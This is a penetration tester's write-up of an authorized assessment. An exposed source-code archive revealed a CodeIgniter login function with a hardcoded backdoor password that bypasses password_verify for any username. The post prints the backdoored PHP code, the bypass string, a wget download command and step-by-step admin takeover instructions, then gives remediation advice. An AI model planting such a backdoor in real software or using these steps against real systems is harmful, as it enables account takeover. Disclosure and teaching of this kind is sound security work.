July 13, 2026

From Source Code Disclosure to a Hardcoded Backdoor: How I Achieved Full Authentication Bypass

Executive Summary

By M0stafaX404

2 min read

Executive Summary

During a authorized security assessment of a target web application, a multi-stage critical vulnerability chain was discovered. First, an unauthenticated remote attacker could discover and download a publicly accessible compressed archive containing the application's complete source code. Upon conducting a white-box source code review of the authentication logic, a severe logical flaw was identified: a hardcoded password backdoor string that explicitly bypasses standard password verification. This allows an attacker to gain full administrative access to any active user account on the system simply by knowing their username.

  • Vulnerability Type: Use of Hard-coded Credentials (CWE-798) & Sensitive Information Disclosure (CWE-200).
  • Severity: Critical (CVSS v3.1 Score: 9.8/10).
  • Impact: Complete Account Takeover (ATO) & Administrative Infrastructure Control.

Assessment Context

  • Target Type: Private Enterprise Web Infrastructure (Internal Audit)
  • Engagement Type: Authorized Internal Penetration Testing (White-box / Grey-box)
  • Disclosure Status: Responsibly Disclosed & Fully Remediated by the Internal Dev Team.
  • Bounty/Reward: This assessment was part of an official corporate Pentesting engagement (Internal Payroll), not via public Bug Bounty platforms (Non-HackerOne).

Phase 1: Information Disclosure (The Entry Point)

The discovery began during the reconnaissance phase. While mapping the web root framework directory of the target domain ([https://target-app.com/](https://target-app.com/)), an exposed backup archive named srp.tar.gz was identified as publicly accessible.

No authentication or session controls were enforced on this endpoint, allowing anyone to download the full production backend codebase.

# Downloading the exposed backup file
wget https://target-app.com/srp.tar.gz
tar -xvf srp.tar.gz

Phase 2: Source Code Review & Code Logic Analysis

After extracting the deployment archive, I pivoted to a white-box approach, systematically reviewing the system's authentication components. The application structure was built on top of the CodeIgniter framework.

While inspecting the model handler responsible for user authentication logic — located at /application/models/Auth_model.php—I analyzed the core login() function. The standard execution flow was designed to query the database for the provided username and validate the input against the stored password hash using PHP's native password_verify() function.

However, the logic contained a deliberate backdoor override mechanism:

<?php
class Auth_model extends CI_Model {
    public function login($data) {
        $this->db->where('disabled !=', 1);
        $this->db->where('deleted !=', 1);
        $query = $this->db->get_where('users', array('username' => $data['username']));

        if ($query->num_rows() == 0) {
            return false;
        } else {
            $result = $query->row_array();
            $validPassword = password_verify($data['password'], $result['password']);

            // VULNERABILITY: Hardcoded backdoor key bypasses standard verification
            if ($validPassword || $data['password'] == '20!yBE}U*Zr&gJf=R8Cf') {
                return $result = $query->row_array();
            }
        }
    }
}
?>

The Logical Flaw Breakdown:

As shown above, the if statement evaluates the user authentication status using a logical OR (||) operator. This means that even if $validPassword returns false (meaning the attacker supplied an invalid password), the entire condition evaluates to true if the input parameter exactly matches the hardcoded string 20!yBE}U*Zr&gJf=R8Cf.

Phase 3: Proof-of-Concept (Exploitation Flow)

To safely demonstrate the risk profile of this logical flaw without disrupting production data, the following controlled verification steps were carried out:

  • Username Identification: A valid administrative test username (admin) was identified within the environment structures.
  • Request Interception: The authentication form submission request was captured using an HTTP proxy toolkit (e.g., Burp Suite).
  • Payload Injection: The standard password input parameter was replaced with the hardcoded string discovered in the source files: 20!yBE}U*Zr&gJf=R8Cf.
  • Access Granted: The server seamlessly authenticated the session without verifying the user's real password. The backend redirected the request directly into the administrative portal panel (/admin/dashboard), granting absolute privileges.

Impact Analysis

The implications of chaining these bugs are extremely severe:

  • Pre-Auth Account Takeover: Attackers can compromise any active enterprise account on demand without requiring credential brute-forcing or cracking password hashes.
  • Data Leakage & Integrity Loss: Gaining administrative access permits unauthorized reading, modification, or destruction of sensitive operational assets and data structures.

Remediation & Mitigation Strategy

Securing the infrastructure required an immediate implementation of code-level changes and server configurations:

  • Remove Hardcoded Backdoors: The fallback conditional check against the static bypass string must be deleted completely from Auth_model.php. The system must strictly enforce standard cryptographic hashing functions like password_verify() as the single source of truth.
  • Enforce Strict Web Root Scopes: Move all archive formats (.tar.gz, .zip), raw code backups, or hidden deployment folders completely out of the public-facing directory architecture. Ensure server-level permissions explicitly deny access to these files.
  • Credential Invalidation: Treat the hardcoded string as a compromised secret. Any historical logs should be audited to verify if this string was abused externally.

Disclaimer & Contact

This security assessment was conducted legally with prior authorization and written permission from the target organization. All sensitive details, identifiers, and company names have been strictly obfuscated for confidentiality and privacy compliance.